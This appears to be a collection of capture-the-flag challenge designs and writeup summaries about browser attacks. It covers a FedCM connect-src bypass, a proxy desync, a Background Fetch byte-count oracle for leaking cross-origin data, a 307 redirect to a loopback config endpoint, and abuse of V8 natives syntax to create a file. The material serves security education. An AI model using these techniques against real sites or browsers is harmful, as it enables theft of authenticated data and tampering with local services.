An IdP iframe permitted only the exact public FedCM config path through connect-src. Its ordinary credentialed fetch to /accounts failed with TypeError, and the server received no control request. IdentityProvider.getUserInfo() resolved the accounts endpoint from that permitted config, fetched /accounts with idp_session=1 and Sec-Fetch-Dest: webidentity, and returned the flag-bearing account record to iframe JavaScript. The result reproduced in three fresh headless profiles and one fresh headed profile. No web-feature switches, FedCM testing overrides, or pre-seeded FedCM grants were used.

Use a source-assisted identity-card product with two cross-site HTTPS hosts. Players author a scriptable card widget served in a tightly network-restricted IdP iframe. The admin bot first signs in to the IdP, then reviews the widget inside the RP page. The widget calls the public FedCM config as a browser-mediated relay, obtains the authenticated profile record, and sends it through the product's documented preview-message channel to a player-readable review receipt.

Keep the flag only in the authenticated accounts response, mark the session cookie HttpOnly; SameSite=None; Secure, and limit connect-src to the exact config path. Exclude CORS, JSONP, navigation reflection, service-worker, media, and error-page reads. Validate the parent relay's source and use a fresh bot profile.

• Writeup

• Bootstrap a loopback-origin page using proxy response desynchronization: a script response advertises Content-Length: 0 while the upstream body is still forwarded.
• Use the resulting page to access the bot's authenticated /admin endpoint and register a service worker.
• Use Background Fetch with a controlled streaming marker response. The hidden cross-origin search response affects native byte accounting and whether the marker download is cancelled.
• Treat marker completion as a prefix oracle, binary-partition printable ASCII candidates, and verify exact completion by testing adjacent download budgets.
• Key primitive: cross-origin response bodies remain hidden, but their byte count still influences a controlled sibling download.

• Writeup

• Create a same-origin JSON POST from a service-worker-controlled page using Background Fetch.
• Send the request to an attacker-controlled endpoint that returns a 307 redirect to http://localhost:3001/config.
• Because 307 preserves the method, body, and content type, the bot sends {"config":false} to the loopback endpoint.
• This changes the application state so GET /flag becomes available.
• The important Chromium behavior is that the initial same-origin request passes the preflight gate, while the native Background Fetch redirect follows through to the loopback target.

• Writeup and payload

• The challenge launches Chromium with --allow-natives-syntax, exposing V8 test runtime calls.
• %TakeHeapSnapshot('/tmp/allow-flag') creates the file checked by the challenge.
• Submit an HTML payload that invokes this runtime function through the loopback mirror, then request /flag.
• This is a diagnostic/test-API file-creation primitive, not a general memory-corruption exploit, arbitrary file write, sandbox escape, or RCE.